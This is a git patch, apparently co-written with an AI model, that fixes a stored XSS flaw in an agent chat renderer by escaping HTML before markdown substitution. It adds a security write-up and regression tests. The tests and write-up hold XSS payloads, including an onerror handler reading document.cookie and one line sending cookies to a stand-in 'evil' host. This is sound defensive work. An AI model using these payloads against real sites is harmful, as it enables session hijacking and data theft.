From a023ede222d387179336e58cdd26e1802a73d2a6 Mon Sep 17 00:00:00 2001
From: sumit <sumitgarg380@gmail.com>
Date: Wed, 16 Sep 2026 22:12:44 +0530
Subject: [PATCH] fix(security): escape HTML in agent chat before markdown
 substitution
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

AgentView renders assistant replies through dangerouslySetInnerHTML, and the
boldify function feeding it escaped nothing — it applied its markdown
substitutions to the raw string, so every character of a reply was parsed as
markup. Confirmed by executing the shipped function rather than reading it:
boldify('<img src=x onerror=alert(document.cookie)>') returned the payload byte
for byte, and in a browser Chromium parsed it into a real <img> element and
fired its onerror handler.

This is stored, not reflected. agent_conversation.transcript is a JSONB column
replayed into the renderer on load, so a payload fires on every visit. The
input is not trusted either: the agent echoes database content, and a real
stored transcript here reads "It rewrites the whole `t` table" where `t` is a
table name read from the database — the same channel an injected identifier
arrives on.

Severity is capped but not removed. Auth is an httpOnly cookie so the token
cannot be read, but client.js sends withCredentials, so injected script acts as
the reader against the API.

Escapes before substituting. The order is load-bearing: escaping after would
also escape the <strong> and <code> tags this function emits and print literal
tag text, so both halves are pinned by tests. Swapping in the safe renderer
that already exists (AgentChat/AgentMarkdown.jsx) is the better long-term shape
but carries its own CSS module, table component and link handling — a visual
redesign inside a security fix, so it is left for its own PR.

Brain/AgentArtifacts.jsx had the identical bug with a styled <code> tag,
currently unreachable behind AGENTS_ENABLED=false but live the day that flips.
Both renderers now share one escaping implementation and pass only presentation
in, so they cannot drift apart the way two copies would.

Verified: 6 of 12 tests fail against the real shipped function and pass after;
removing escapeHtml fails 7. In a browser the old path executed the handler and
left one real <img> in the DOM, the fixed path executed nothing, left zero, and
renders the payload as visible text. Build clean, 22 frontend tests pass, and
lint is unchanged against main's baseline (41 errors both sides, 0 in the four
files touched).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
---
 CLAUDE.md                                     |  20 +++
 .../2026-09-16-agent-chat-stored-xss.md       | 124 ++++++++++++++++++
 src/components/Agent/AgentView.jsx            |   7 +-
 src/components/Agent/boldify.js               |  44 +++++++
 src/components/Agent/boldify.test.js          | 110 ++++++++++++++++
 src/components/Brain/AgentArtifacts.jsx       |  10 +-
 6 files changed, 306 insertions(+), 9 deletions(-)
 create mode 100644 docs/security/2026-09-16-agent-chat-stored-xss.md
 create mode 100644 src/components/Agent/boldify.js
 create mode 100644 src/components/Agent/boldify.test.js

diff --git a/CLAUDE.md b/CLAUDE.md
index 52aac16..6300492 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -502,6 +502,26 @@ report in chat, but it never computes it.
 7. **Virtual Threads**: Enabled for concurrency (JDK 25).
 
 ### Frontend Rules
+
+0. **Anything reaching `dangerouslySetInnerHTML` must be escaped at the source.**
+   `AgentView`'s `boldify` applied its markdown substitutions to the raw string and escaped
+   nothing, so every character of an assistant reply was parsed as markup — verified by
+   executing it: `boldify('<img src=x onerror=…>')` returned the payload byte for byte, and
+   in a browser Chromium built a real `<img>` element and fired its handler. It is **stored**
+   XSS: `agent_conversation.transcript` is replayed into the renderer on load, and the agent
+   echoes database content, so a table named `<img src=x onerror=…>` renders in an analyst's
+   browser. httpOnly cookies mean the token cannot be read, but `withCredentials` means the
+   payload acts *as* the reader. **Escape before substituting, never after** — escaping after
+   would escape the `<strong>`/`<code>` tags the function itself emits and print literal tag
+   text. Note `<script>` via `innerHTML` does **not** execute (HTML spec); the live vector is
+   an event-handler attribute, which is what a regression test must assert on.
+   `Brain/AgentArtifacts.jsx` had the same bug with a styled `<code>`; both now share one
+   escape and pass only presentation in, so the two cannot drift. A safe renderer already
+   exists (`AgentChat/AgentMarkdown.jsx` — `ReactMarkdown` + `remarkGfm`, no `rehype-raw`)
+   and is the better long-term shape, but swapping it into `AgentView` is a visual redesign,
+   not a security fix. There is still **no CSP header**, so nothing stands behind this.
+   See `docs/security/2026-09-16-agent-chat-stored-xss.md`.
+
 1. **API Centralization**: ALL API calls through `src/lib/api/client.js`. Never create direct axios instances.
 2. **Server State**: Use TanStack Query hooks from `src/lib/hooks/queries/` (not useState/useEffect for data fetching).
 3. **UI State**: Use Zustand stores from `src/lib/stores/`. Prefer selector hooks for optimized re-renders.
diff --git a/docs/security/2026-09-16-agent-chat-stored-xss.md b/docs/security/2026-09-16-agent-chat-stored-xss.md
new file mode 100644
index 0000000..d4c7be3
--- /dev/null
+++ b/docs/security/2026-09-16-agent-chat-stored-xss.md
@@ -0,0 +1,124 @@
+# Agent chat rendered agent output as HTML
+
+*Found 2026-09-10 in a repository-wide security audit; fixed and verified in a browser
+2026-09-16. Severity: high.*
+
+## What was wrong
+
+`AgentView` renders assistant replies through `dangerouslySetInnerHTML`, and the function
+feeding it escaped nothing:
+
+```js
+function boldify(text) {
+  return text
+    .replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
+    .replace(/`([^`]+)`/g, "<code>$1</code>");
+}
+```
+
+Two sinks used it (`AgentView.jsx:906` and `:910`), so every character of an assistant
+reply was parsed as markup. Confirmed by **executing the shipped function**, not by reading
+it:
+
+```
+IN : <img src=x onerror=alert(document.cookie)>
+OUT: <img src=x onerror=alert(document.cookie)>     byte for byte
+```
+
+`**a" onmouseover="alert(1)**` was worse than it looks: the `**` delimiters are consumed by
+the substitution, so the attacker's quotes survived into the emitted tag and grew an
+attribute on it.
+
+## Why it mattered
+
+**Stored, not reflected.** `agent_conversation.transcript` is a JSONB column replayed into
+this renderer on load, so a payload fires again on every visit rather than once.
+
+**The input is not trusted.** The agent echoes database content — table names, column
+comments, sampled values. A real stored transcript in this install reads:
+
+> No — `**DANGER**`. It rewrites the whole `` `t` `` table, takes an
+> `**AccessExclusiveLock**` …
+
+where `` `t` `` is a table name the agent read from the database. That is the same channel
+an injected identifier arrives on: name a table `<img src=x onerror=…>` and the agent will
+faithfully repeat it into an analyst's browser.
+
+**Severity is capped, not removed.** Auth is an httpOnly cookie
+(`AuthSessionService.java:256`), so the token itself cannot be read by injected script.
+But `client.js` sends `withCredentials: true`, so the payload *acts as the reader* against
+the API — running queries, reading results, and reaching admin endpoints if the reader is an
+admin. Account takeover becomes session riding, which is better and still high.
+
+One nuance worth recording so it is not rediscovered: a `<script>` tag inserted via
+`innerHTML` **does not execute** (HTML spec). The live vector is an event-handler attribute
+such as `onerror`. Both are escaped; the distinction matters when writing the regression
+test, because asserting only on `<script>` would prove nothing.
+
+## The fix
+
+Escape first, then substitute:
+
+```js
+export function boldify(text, codeTag = PLAIN_CODE_TAG) {
+  if (!text) return "";
+  return escapeHtml(text)
+    .replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
+    .replace(/`([^`]+)`/g, codeTag);
+}
+```
+
+**Order is load-bearing.** Escaping *after* the substitutions would also escape the
+`<strong>` and `<code>` tags this function emits, and the reader would see literal tag text
+instead of formatting. That is the obvious thing to "simplify" later, so both halves are
+pinned by tests.
+
+**Why not swap in the safe renderer that already exists.** `AgentChat/AgentMarkdown.jsx`
+uses `ReactMarkdown` + `remarkGfm`, which escapes HTML by default and deliberately omits
+`rehype-raw`. It is the right long-term answer, but it is a *complete* renderer carrying its
+own CSS module, a `DownloadableTable` and link handling, while `AgentView` has bespoke inline
+styles for headings, bullets and fenced blocks. Swapping it in would make this a visual
+redesign inside a security fix — harder to review, riskier to merge. Escaping at the source
+is four lines and changes no pixels.
+
+**Why not escape everything.** The agent leans on this formatting heavily, as the real
+transcript above shows. A fix that rendered `**DANGER**` as literal asterisks would be
+rejected by its users.
+
+## The sibling sink
+
+`Brain/AgentArtifacts.jsx:136` had the identical bug with a *styled* `<code>` tag. It is
+currently unreachable — `features.js` has `AGENTS_ENABLED = false`, which removes `brain`
+from the section map — but it is dead-code-adjacent rather than dead: the day that flag
+flips, it is live.
+
+Both renderers now share one escaping implementation, with only the code-tag markup passed
+in. Duplicating the escape into both files is what lets one get fixed and the other missed —
+the same drift the Java and JS SQL guards are kept in sync to avoid.
+
+## Verification
+
+| Step | Result |
+|---|---|
+| Tests against the real shipped `boldify` (RED) | **6 fail**, 5 pass — the 5 are the formatting cases, so they are not vacuous |
+| Tests after the fix (GREEN) | 12 pass |
+| `escapeHtml` removed (mutation) | **7 fail** — the tests guard the fix |
+| Browser, payload through old code | `onerror` **executed**; 1 real `<img>` element in the DOM |
+| Browser, payload through fixed code | `onerror` **did not execute**; **0** `<img>` elements; payload shown as visible text |
+| `npm run build` | clean |
+| `npm run lint` | 41 errors on main, **41 with this change** — unchanged baseline; 0 errors in the four files touched |
+| Frontend tests | 22 pass, 0 fail |
+
+The browser check is the one that matters. `imgTagsBefore: 1` shows Chromium parsed the
+payload into a real element and fired its handler; `imgTagsAfter: 0` with the tag visible as
+text shows the fixed path renders it as the data it is.
+
+## Residual work
+
+- There is **no `Content-Security-Policy` header**. `docker/nginx/default.conf` sets
+  `X-Frame-Options`, `X-Content-Type-Options` and `Referrer-Policy` but no CSP, so nothing
+  stands behind an escaping bug if another one is introduced. A `script-src` without
+  `unsafe-inline` is the defence in depth this sink deserves; it is a deployment change with
+  its own blast radius and belongs in its own PR.
+- Migrating `AgentView` to `AgentMarkdown` remains the better long-term shape, as a
+  deliberate UI change rather than a security fix.
diff --git a/src/components/Agent/AgentView.jsx b/src/components/Agent/AgentView.jsx
index 9a2df59..87b3e0f 100644
--- a/src/components/Agent/AgentView.jsx
+++ b/src/components/Agent/AgentView.jsx
@@ -16,6 +16,7 @@ import FeedbackButtons from "@/components/FeedbackButtons";
 import CreateAgentModal from "@/components/Brain/CreateAgentModal";
 import { saveAgent } from "@/components/Brain/brainAgentStore";
 import styles from "./AgentView.module.css";
+import { boldify } from "./boldify.js";
 
 const FALLBACK_PROMPTS = [
   {
@@ -882,12 +883,6 @@ function WaveText({ text, className }) {
   );
 }
 
-function boldify(text) {
-  return text
-    .replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
-    .replace(/`([^`]+)`/g, "<code>$1</code>");
-}
-
 function renderMarkdownLine(line, i) {
   if (!line.trim()) return <br key={i} />;
   if (line.match(/^#{1,3}\s/)) {
diff --git a/src/components/Agent/boldify.js b/src/components/Agent/boldify.js
new file mode 100644
index 0000000..5a096d1
--- /dev/null
+++ b/src/components/Agent/boldify.js
@@ -0,0 +1,44 @@
+// Inline markdown for Agent chat, rendered through dangerouslySetInnerHTML in AgentView.
+//
+// Every character returned here is parsed as HTML, so the escape is not optional. The
+// original applied its substitutions to the raw string and escaped nothing, which made
+// agent output — and any database value the agent echoes, such as a table name — render
+// as markup in the reader's browser. Confirmed by executing the shipped function:
+// boldify('<img src=x onerror=alert(document.cookie)>') returned the payload byte for byte.
+//
+// The payload is stored rather than reflected: agent_conversation.transcript is replayed
+// into this renderer on load, so it fires again on every visit. Auth is an httpOnly
+// cookie, so the token itself cannot be read — but client.js sends withCredentials, so
+// injected script acts as the reader against the API.
+//
+// Order is load-bearing. Escaping must happen BEFORE the substitutions; escaping after
+// would also escape the <strong> and <code> tags this function emits, and the reader
+// would see literal tag text instead of formatting. boldify.test.js pins both halves.
+
+const HTML_ESCAPES = {
+  "&": "&amp;",
+  "<": "&lt;",
+  ">": "&gt;",
+  '"': "&quot;",
+  "'": "&#39;",
+};
+
+function escapeHtml(text) {
+  return text.replace(/[&<>"']/g, (char) => HTML_ESCAPES[char]);
+}
+
+const PLAIN_CODE_TAG = "<code>$1</code>";
+
+/**
+ * Escapes HTML, then renders `**bold**` and `` `code` `` as real tags.
+ *
+ * `codeTag` lets a caller supply its own <code> markup — Brain's AgentArtifacts styles
+ * its inline code differently. Only presentation is a parameter; the escaping above is
+ * shared on purpose, so the two renderers cannot drift apart on the half that matters.
+ */
+export function boldify(text, codeTag = PLAIN_CODE_TAG) {
+  if (!text) return "";
+  return escapeHtml(text)
+    .replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
+    .replace(/`([^`]+)`/g, codeTag);
+}
diff --git a/src/components/Agent/boldify.test.js b/src/components/Agent/boldify.test.js
new file mode 100644
index 0000000..a3dfe76
--- /dev/null
+++ b/src/components/Agent/boldify.test.js
@@ -0,0 +1,110 @@
+import test from 'node:test'
+import assert from 'node:assert/strict'
+import { boldify } from './boldify.js'
+
+// boldify's output goes straight into dangerouslySetInnerHTML in AgentView, so every
+// character it returns is parsed as HTML. It applied its markdown substitutions to the
+// raw string and escaped nothing, which made agent output — and therefore any database
+// value the agent echoes — executable in the reader's browser.
+//
+// Confirmed by executing the shipped function, not by reading it:
+//   boldify('<img src=x onerror=alert(document.cookie)>')
+//   -> '<img src=x onerror=alert(document.cookie)>'   (byte-for-byte)
+//
+// The payload is stored, not reflected: agent_conversation.transcript is replayed into
+// this renderer on load, so it fires again on every visit.
+
+test('escapes an image-with-onerror payload instead of returning it verbatim', () => {
+  const out = boldify('<img src=x onerror=alert(document.cookie)>')
+
+  assert.ok(!out.includes('<img'), `raw <img reached innerHTML: ${out}`)
+  assert.ok(out.includes('&lt;img'), `payload was not escaped: ${out}`)
+})
+
+// <script> inserted via innerHTML does not execute, per the HTML spec — the live vector
+// is an event-handler attribute. Both are escaped; this case is kept so the distinction
+// stays on the record rather than being rediscovered.
+test('escapes a script tag', () => {
+  const out = boldify('<script>fetch("//evil/"+document.cookie)</script>')
+
+  assert.ok(!out.includes('<script>'), `raw <script> reached innerHTML: ${out}`)
+  assert.ok(out.includes('&lt;script&gt;'), out)
+})
+
+// The delimiters are consumed by the substitution, so the attacker's quote has to survive
+// as data. Unescaped, `**a" onmouseover="alert(1)**` closed <strong>'s attribute list.
+test('escapes quotes so a bold span cannot grow an attribute', () => {
+  const out = boldify('**a" onmouseover="alert(1)**')
+
+  assert.ok(!out.includes('onmouseover="alert(1)"'), `attribute injection survived: ${out}`)
+  assert.ok(out.includes('&quot;'), out)
+})
+
+test('escapes a javascript: href smuggled through an anchor', () => {
+  const out = boldify('<a href="javascript:alert(1)">x</a>')
+
+  assert.ok(!out.includes('<a href'), out)
+})
+
+// Escaping has to happen BEFORE the markdown substitutions, or the <strong> and <code>
+// tags boldify emits are themselves escaped and the reader sees literal tag text. That
+// ordering is the whole subtlety of this fix and is the obvious thing to "simplify"
+// later, so it is pinned here.
+test('still renders bold markdown as real strong tags', () => {
+  assert.equal(boldify('a **b** c'), 'a <strong>b</strong> c')
+})
+
+test('still renders inline code as real code tags', () => {
+  assert.equal(boldify('run `SELECT 1` now'), 'run <code>SELECT 1</code> now')
+})
+
+// Taken from a real stored transcript (agent_conversation.transcript). The agent leans on
+// bold and inline code heavily, and the `t` here is a table name echoed from the database —
+// the same channel an injected identifier would arrive on. A fix that broke this formatting
+// would be rejected by its users, which is why escaping everything was not an option.
+test('renders a real agent reply with its formatting intact', () => {
+  const out = boldify('No — **DANGER**. It rewrites the whole `t` table, taking an **AccessExclusiveLock**.')
+
+  assert.equal(
+    out,
+    'No — <strong>DANGER</strong>. It rewrites the whole <code>t</code> table, '
+      + 'taking an <strong>AccessExclusiveLock</strong>.'
+  )
+})
+
+// A table named by an attacker still has to read as its own name, not as markup.
+test('escapes html inside a bold span rather than emitting it', () => {
+  const out = boldify('**<img src=x onerror=alert(1)>**')
+
+  assert.ok(out.startsWith('<strong>'), out)
+  assert.ok(!out.includes('<img'), out)
+  assert.ok(out.includes('&lt;img'), out)
+})
+
+test('escapes ampersands so an entity cannot be reconstructed', () => {
+  assert.equal(boldify('a & b'), 'a &amp; b')
+  assert.ok(!boldify('&lt;img&gt;').includes('&lt;img&gt;'.replace('&lt;', '<')))
+})
+
+test('leaves ordinary prose untouched', () => {
+  assert.equal(boldify('just a normal sentence'), 'just a normal sentence')
+})
+
+test('handles empty and whitespace input', () => {
+  assert.equal(boldify(''), '')
+  assert.equal(boldify('   '), '   ')
+})
+
+// Brain's AgentArtifacts passes its own <code> markup. Presentation differs; the escaping
+// must not, or fixing one renderer would leave the other injectable.
+test('escapes the same way when a caller supplies its own code tag', () => {
+  const styled = '<code style="background:#f3f4f6">$1</code>'
+
+  assert.equal(
+    boldify('run `SELECT 1`', styled),
+    'run <code style="background:#f3f4f6">SELECT 1</code>'
+  )
+  const out = boldify('<img src=x onerror=alert(1)>', styled)
+  assert.ok(!out.includes('<img'), out)
+  assert.ok(out.includes('&lt;img'), out)
+})
diff --git a/src/components/Brain/AgentArtifacts.jsx b/src/components/Brain/AgentArtifacts.jsx
index 877e961..3ca564e 100644
--- a/src/components/Brain/AgentArtifacts.jsx
+++ b/src/components/Brain/AgentArtifacts.jsx
@@ -18,6 +18,7 @@ import {
 import * as XLSX from 'xlsx'
 import { Download, FileSpreadsheet, FileText, ChevronDown, ChevronUp } from 'lucide-react'
 import styles from './AgentArtifacts.module.css'
+import { boldify as sharedBoldify } from '../Agent/boldify.js'
 
 // ── Palette ───────────────────────────────────────────────────────────────────
 
@@ -133,10 +134,13 @@ function chartToRows(data) {
 
 // ── Markdown text renderer ───────────────────────────────────────────────────
 
+// Presentation only — the escaping lives in the shared module so this renderer and
+// AgentView cannot diverge on the half that stops injected markup executing.
+const STYLED_CODE_TAG =
+  '<code style="background:#f3f4f6;padding:1px 5px;border-radius:3px;font-size:0.88em;font-family:monospace">$1</code>'
+
 function boldify(text) {
-  return text
-    .replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>')
-    .replace(/`([^`]+)`/g, '<code style="background:#f3f4f6;padding:1px 5px;border-radius:3px;font-size:0.88em;font-family:monospace">$1</code>')
+  return sharedBoldify(text, STYLED_CODE_TAG)
 }
 
 function RenderText({ content }) {